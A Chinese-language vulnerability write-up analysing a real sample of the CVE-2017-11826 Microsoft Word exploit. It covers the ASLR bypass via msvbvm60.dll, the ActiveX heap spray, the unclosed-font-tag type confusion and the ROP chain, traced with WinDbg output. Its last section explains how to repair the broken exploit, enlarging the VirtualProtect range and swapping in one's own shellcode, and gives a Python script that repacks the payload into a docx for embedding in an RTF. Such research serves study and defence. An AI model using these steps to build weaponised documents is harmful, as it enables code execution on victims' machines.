作者:Joey@天玄安全實驗室
原文鏈接:https://mp.weixin.qq.com/s/F_BIk3slcZ8gXGuQ0T9Pwg

前言

最近開始分析Office漏洞,拿到CVE-2017-11826的樣本后發現無法在Office2010上成功執行,打算分析并改造該EXP。參考了許多資料,結合自己的理解寫了本文,供大家學習和參考。

漏洞分析

分析環境

OS:                 Win7 x64 SP1
Office:             Ofiice 2010 x86
Image name:         wwlib.dll
Timestamp:          Sat Mar 27 23:37:07 2010 (4BAE2623)
CheckSum:           0127F568
ImageSize:          0127A000
File version:       14.0.4762.1000
Product version:    14.0.4762.0

靜態分析

在rtf文檔中搜索object,發現嵌入了3個ole對象:

image-20210727171412503

第一個對象的CLSID為D5DE8D20-5BB8-11D1-A1E3-00A0C90F2731,在注冊表搜索后發現該對象位于C:\Windows\SysWOW64\msvbvm60.dll,而該dll是沒有ASLR的。

image-20210727175112215

通過ProcessExplorer發現word打開rtf文檔后確實加載了msvbvm60.dll,且該dll無ASLR,說明該ole對象的作用是繞過ASLR。

image-20210727180558328

使用rtfobj.py -s all提取ole對象:

image-20210727165632756

第一個對象經過上面的分析是用于繞過ASLR的,第二和第三個都是.doc文檔,使用壓縮軟件直接打開第二個文檔,文檔結構如下:

│  [Content_Types].xml
│  
├─docProps
│      app.xml
│      core.xml
│      
├─word
│  │  document.xml
│  │  fontTable.xml
│  │  settings.xml
│  │  styles.xml
│  │  webSettings.xml
│  │  
│  ├─activeX
│  │  │  activeX1.bin
│  │  │  activeX1.xml
│  │  │  activeX2.xml
│  │  │     ······
│  │  │  activeX40.xml
│  │  │  
│  │  └─_rels
│  │          activeX1.xml.rels
│  │          activeX2.xml.rels
│  │                ······
│  │          activeX40.xml.rels
│  │          
│  ├─media
│  │      image1.wmf
│  │      
│  ├─theme
│  │      theme1.xml
│  │      
│  └─_rels
│          document.xml.rels
│          
└─_rels
        .rels

可以看出使用了40個activeX.xml文件,文件內容如下:

<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<ax:ocx ax:classid="{00000000-0000-0000-0000-000000000001}" ax:persistence="persistStorage" r:id="rId1" xmlns:ax="http://schemas.microsoft.com/office/2006/activeX" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships"/>

40個xml文件內容一致,加載了CLSID為{00000000-0000-0000-0000-000000000001}的對象,然而系統中并沒有這個對象,所以并不會加載任何對象,這么做是為了提高堆噴的效率,具體原理可查看SPRAYING THE HEAP IN SECONDS USING ACTIVEX CONTROLS IN MICROSOFT OFFICE一文。

而40個activeX.xml.rels的內容也完全一致:

<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships">
    <Relationship Id="rId1" Type="http://schemas.microsoft.com/office/2006/relationships/activeXControlBinary" Target="activeX1.bin"/>
</Relationships>

都指向了activeX1.bin文件,因此會將activeX1.bin在內存中加載40次,以此達到堆噴的目的。

activeX1.bin文件結構如下:

activeX1.bin
│ -文件頭 
│ -數據
│    │---CB 40 94 72 EC 83 88 08 CB 40 94 72 EC 83 88 08
│    │                      ······
│    │---CB 40 94 72 EC 83 88 08 CB 40 94 72 EC 83 88 08
│    │---shellcode
│    │---2B 0E 98 72 2B 0E 98 72 2B 0E 98 72 2B 0E 98 72
│    │                      ······
│    │---2B 0E 98 72 2B 0E 98 72 2B 0E 98 72 2B 0E 98 72
│    │                      ······
│    │---CB 40 94 72 EC 83 88 08 CB 40 94 72 EC 83 88 08
│    │                      ······

看結構似乎是滑板指令加shellcode,待調試驗證。

第三個文檔結構如下:

│  [Content_Types].xml
│  
├─docProps
│      app.xml
│      core.xml
│      
├─word
│  │  document.xml
│  │  endnotes.xml
│  │  fontTable.xml
│  │  footnotes.xml
│  │  settings.xml
│  │  styles.xml
│  │  webSettings.xml
│  │  
│  ├─theme
│  │      theme1.xml
│  │      
│  └─_rels
│          document.xml.rels
│          
└─_rels
        .rels

document.xml的內容如下:

image-20210804144955166

觀測到<w:font 標簽內有異常字符,且標簽未正常閉合,預測漏洞觸發于該處。

通過靜態分析了解到RTF文檔通過內嵌3個ole對象來實現ASLR繞過、堆噴射和漏洞觸發,ASLR繞過是通過加載CLSID為D5DE8D20-5BB8-11D1-A1E3-00A0C90F2731的COM對象,將msvbvm60.dll加載到內存中。堆噴射利用40個activeX.xml.rels指向唯一的activeX1.bin文件,將activeX1.bin文件中的數據部分,即偏移為0x800后的內容加載到內存中實現堆噴射。而漏洞觸發部分則利用document.xml中的異常字符和標簽觸發漏洞。

動態調試

使用windbg附加word,打開漏洞文件:

image-20210727162527153

可以看到異常因為ecx+4指向的內存無法訪問導致錯誤。查看反匯編得知ecx的值來源于eax,此時eax的值為088888ec。再次打開漏洞文件發現ecx的值改變,但是eax的值仍為088888ec,說明eax的值為故意構造。

于是打算下斷在函數wwlib!DllGetClassObject+0x42d4 (71ed98b0)查看eax是如何生成的。查看wwlib的基地址,算出函數的偏移為wwlib+004da16b

0:000> lm m wwlib
start    end        module name
71ed0000 7314a000   wwlib      (export symbols)       C:\PROGRA~2\MICROS~1\Office14\wwlib.dll
0:000> ? 723aa16b-71ed0000
Evaluate expression: 5087595 = 004da16b

重新打開漏洞文檔,bp wwlib+004da16b下斷:

image-20210802112402518

步過兩次后執行到如圖所示位置時,查看eax所在的內存:

image-20210802112612050

發現和在文檔3中的字符串一致,接著查看eax+44,對應的正是異常觸發時eax的值088888ec

image-20210802112936829

但在xml文件中,字符串中的異常字符的十六進制為e8a3ace0a288

image-20210802140720647

在文件中顯示的格式是Ascii,然而在內存中顯示的是Unicode,于是將文件中的字符以utf-8格式轉換為十六進制正是eax的值088888ec

image-20210802142105409

說明通過修改該字符串可以控制eax的值,進而控制eip。

在ida中找到奔潰函數為sub_31A55CE6,發現變量v3是寬字節字符串,位于arg2+0x18,變量v4是一個長度,位于arg2+0x1c

image-20210802153650508

在windbg設置崩潰函數起始點打印v3為字符串,長度為v4:bp wwlib+385ce6 "du poi(poi(esp+8)+18) Lpoi(poi(esp+8)+1c); g;"

image-20210802161250939

可以看到v3就是xml文件中的標簽,在解析到idmp標簽后程序崩潰,然而并沒有看到font標簽,于是尋找到崩潰函數的父函數sub_3170FA5A

image-20210802163044663

崩潰函數arg2的值為edi,而edi的值為父函數的arg2:

image-20210802165001758

于是在父函數和崩潰函數同時下斷,查看標簽解析情況:

bp wwlib+3fa5a ".printf \"Parent_Func:  \"; du poi(poi(esp+8)+18) Lpoi(poi(esp+8)+1c); g;"
bp wwlib+385ce6 ".printf \"Crash_Func:  \"; du poi(poi(esp+8)+18) Lpoi(poi(esp+8)+1c); g;"

image-20210802170632918

在父函數成功解析到font標簽,猜測因為font標簽未閉合而導致崩潰函數解析標簽出錯產生漏洞,修改了xml文件閉合了font標簽:

image-20210804145041151

將修改后的docx文件嵌入到新建的rtf文件中,在windbg中調試后發現eax的值改變了,并且沒有異常,證實因為font標簽未閉合導致的漏洞。

image-20210802180616278

繼續調試發現異常觸發點的eax和ecx都是來自于esi,而esi為漏洞函數的arg1:

image-20210803145832128

因此在漏洞函數打印標簽以及[[esi+17f0]]、[[esi+17f0]+8]、[[esi+17f0]+c]和[esi+17f0]的值:

bp wwlib+385ce6 "du poi(poi(esp+8)+18) Lpoi(poi(esp+8)+1c); r $t0=poi(poi(esp+4)+17f0); dd poi($t0) L1; dd poi($t0)+8 L1; dd poi($t0)+c L1; dd $t0 L1; .printf\"\\n\"; g;"

image-20210803162436403

打印出的結構就是Taglist結構體,具體結構參考goabout2的office CVE-2017-11826雜談一文。

接著調試異常觸發點上的函數,發現函數功能為通過層級標簽獲取TagObject Array[Index-2]:

image-20210803192637477

繼續向上追溯,發現函數GetTagObject也調用了GetTagObjectByIndex,通過分析發現該函數獲取的是TagObject Array[Index-1]的地址:

image-20210803193709068

分析到這里,漏洞產生的原因也就出來了,由于word每解析一個標簽,Current_Index的值就加一,當解析到閉合標簽,Current_Index值會減1。由于構造了沒有閉合的font標簽,因此導致在解析idmap標簽時比正常文件的Current_Index多一,導致原本應該獲取OLEObject標簽的TagObject變成獲取了font的TagObject,因此造成了標簽類型混淆導致漏洞的發生。

將標簽層級和xml文件標簽對應:

image-20210803164645125

可以證實確實因為Current_Index值比正常文件的多一導致的類型混淆。

在內存中查看當解析idmap層級為6時Taglist的內存結構:

> bp wwlib+4da16b
> g
Breakpoint 1 hit
eax=070f1800 ebx=00000000 ecx=0225466c edx=00000004 esi=0225466c edi=070f19dc
eip=6f95a16b esp=002cf428 ebp=002cf490 iopl=0         nv up ei pl nz na po nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000202
wwlib!DllGetLCID+0x2cc775:
6f95a16b e840f7b2ff      call    wwlib!DllGetClassObject+0x42d4 (6f4898b0)
> ub $ip L8
wwlib!DllGetLCID+0x2cc75d:
6f95a153 83780401        cmp     dword ptr [eax+4],1
6f95a157 0f85f5bdeaff    jne     wwlib!DllGetLCID+0x17855c (6f805f52)
6f95a15d 8bb6f0170000    mov     esi,dword ptr [esi+17F0h]
6f95a163 8b06            mov     eax,dword ptr [esi]
6f95a165 8b10            mov     edx,dword ptr [eax]
6f95a167 4a              dec     edx
6f95a168 4a              dec     edx
6f95a169 8bce            mov     ecx,esi

此時eax的值即為Taglist,因此查看eax指向的Taglist結構:

image-20210803215207578

此時TagObject[4]+0x44的值為0x090b4000,查看該值在內存中存儲的數據:

image-20210803213913808

發現[[TagObject[4]+0x44]+0x44]的值正是xml文件中font標簽構造的固定地址,自此漏洞部分分析完畢。

漏洞利用

先啟動word然后使用windbg附加會導致堆噴無法成功,繼而無法分析漏洞利用部分。因此使用gflags.exe讓調試器直接加載winword.exe:

image-20210803220115994

設置斷點在異常觸發點:

> bp wwlib+4da184
> g
Breakpoint 0 hit
eax=088888ec ebx=00000000 ecx=088883ec edx=00000004 esi=004b44b4 edi=0340cddc
eip=6e2da184 esp=002f5f14 ebp=002f5f7c iopl=0         nv up ei pl nz na po nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000202
wwlib!DllGetLCID+0x2cc78e:
6e2da184 50              push    eax
0:000> u $ip
wwlib!DllGetLCID+0x2cc78e:
6e2da184 50              push    eax
6e2da185 ff5104          call    dword ptr [ecx+4]
6e2da188 e9fabdeaff      jmp     wwlib!DllGetLCID+0x178591 (6e185f87)
6e2da18d 83f802          cmp     eax,2
6e2da190 750f            jne     wwlib!DllGetLCID+0x2cc7ab (6e2da1a1)
6e2da192 83c624          add     esi,24h
6e2da195 56              push    esi
6e2da196 52              push    edx
> dd ecx+4
088883f0  72980e2b 72980e2b 72980e2b 72980e2b
08888400  72980e2b 72980e2b 72980e2b 72980e2b
08888410  72980e2b 72980e2b 72980e2b 72980e2b
08888420  72980e2b 72980e2b 72980e2b 72980e2b
08888430  72980e2b 72980e2b 72980e2b 72980e2b
08888440  72980e2b 72980e2b 72980e2b 72980e2b
08888450  72980e2b 72980e2b 72980e2b 72980e2b
08888460  72980e2b 72980e2b 72980e2b 72980e2b

發現exc+4的值為activeX1.bin中shellcode下方的填充,說明已經成功堆噴。

步入[exc+4]后發現來到了msvbvm60.dll,已經進入了ROP鏈:

> t
eax=088888ec ebx=00000000 ecx=088883ec edx=00000004 esi=004c44b4 edi=0043cddc
eip=72980e2b esp=00385a18 ebp=00385a88 iopl=0         nv up ei pl nz na po nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000202
msvbvm60!IID_IVbaHost+0x127eb:
72980e2b 94              xchg    eax,esp

而第一條指令則是用來棧遷移,在之前已經將eax入棧,而eax的值正是構造好的0x088888ec,執行指令后,esp的值已經變成了0x088888ec

image-20210803223544350

而eax中的內容剛好位于shellcode的上方,此時ROP鏈為滑板指令,循環執行pop eaxret,此時可以下斷bp 729440cc ".if(esp=08888f48){}.else{gc}"停在了滑板指令結束的位置:

image-20210804102057063

當執行到最后一次滑板指令時,會將0x729410d0放入eax中,而該值是msvbvm60.dll的IAT表中的數據,查看后存儲的是VirtualProtect的地址:

image-20210804103009190

緊接著通過ret跳轉到ROP指令jmp [eax]執行VirtualProtect,而此時棧中為構造好的VirtualProtect的參數:

image-20210804104003516

再次跳轉后進入到kernelbase.dll的VirtualProtect:

image-20210804104216392

執行后會跳轉到0x08888f70執行shellcode:

image-20210804104652987

然而VirtualProtect的修改的內存范圍只有0x08888c90 - 0x08888e91,而shellcode卻位于0x08888f70,因此會觸發c0000005訪問異常,shellcode執行失敗:

image-20210804105857160

利用改造

activeX1.bin文件中布局如下:

image-20210804115244951

由于原本VirtualProtect修改的范圍為0x201不夠,因此修改為0x1000確保能夠覆蓋shellcode,隨后將shellcode替換為自己的shellcode即可。

將修改好的activeX1.bin文件替換到rtfobj.py提取出來進行堆噴的文檔中,并修改為.docx,腳本參考Exploiting Word: CVE-2017-11826一文,替換腳本如下:

import os
import shutil
import zipfile

template_path = ""
final_docx_name = ""
activeX_bin_path = ""

def pack_file_to_open_xml_docx(template_path, final_docx_name, activeX_bin_path): 
    if not os.path.exists(template_path) or not os.path.exists(activeX_bin_path):
        print("Template docx file or activeX.bin file not exist.")
        return

    with open(activeX_bin_path, "rb") as f_: 
        object_bin_data = f_.read()

    zip_docx = template_path + ".zip"
    current_dir = os.path.abspath(os.path.dirname(__file__))
    new_path = os.path.join(current_dir, "exp", os.path.basename(zip_docx)) 
    if os.path.exists(new_path):
        os.remove(new_path)

    shutil.copy(template_path, new_path) 
    zip_docx = new_path
    # open temp docx and a copy for modification 
    zin = zipfile.ZipFile(zip_docx, 'r') 
    zip_docx_copy = zip_docx + "_copy_" 
    zout = zipfile.ZipFile(zip_docx_copy, "w")
    # modify the docx template with exploit 
    for item in zin.infolist ():
        if item.filename.find("activeX1") >= 0 and item.filename.find(".bin") >= 0: 
            pass
        else:
            buffer = zin.read(item.filename)
            zout.writestr(item, buffer) # use existing file

    zout.writestr("word/activeX/" + "activeX1.bin", object_bin_data) 
    zout.close () 
    zin.close ()
    # convert to docx
    os.rename (zip_docx_copy, final_docx_name) 
    os.remove(zip_docx)

pack_file_to_open_xml_docx(template_path, final_docx_name, activeX_bin_path)

新建一個rtf文件,將替換好的docx文件添加到rtf文件中,保存后使用010Editor打開,搜索object,將{\object和{*\objdata的全部內容復制:

image-20210804120429898

再新建一個rtf文件,按照堆噴射、Bypass ASLR和漏洞觸發的順序添加三個對象。堆噴射的內容就是上方復制好的內容,其他兩個可以直接在原EXP中復制過來即可,最終EXP的結構如下所示:

image-20210804141320122

最終成功執行了shellcode:

image-20210804141657444

參考鏈接

[1] CVE-2017-11826漏洞分析、利用及動態檢測

[2] office CVE-2017-11826雜談

[3] SPRAYING THE HEAP IN SECONDS USING ACTIVEX CONTROLS IN MICROSOFT OFFICE

[4] Exploiting Word: CVE-2017-11826

[5] Open XML標簽解析類漏洞分析思路


Paper 本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/1658/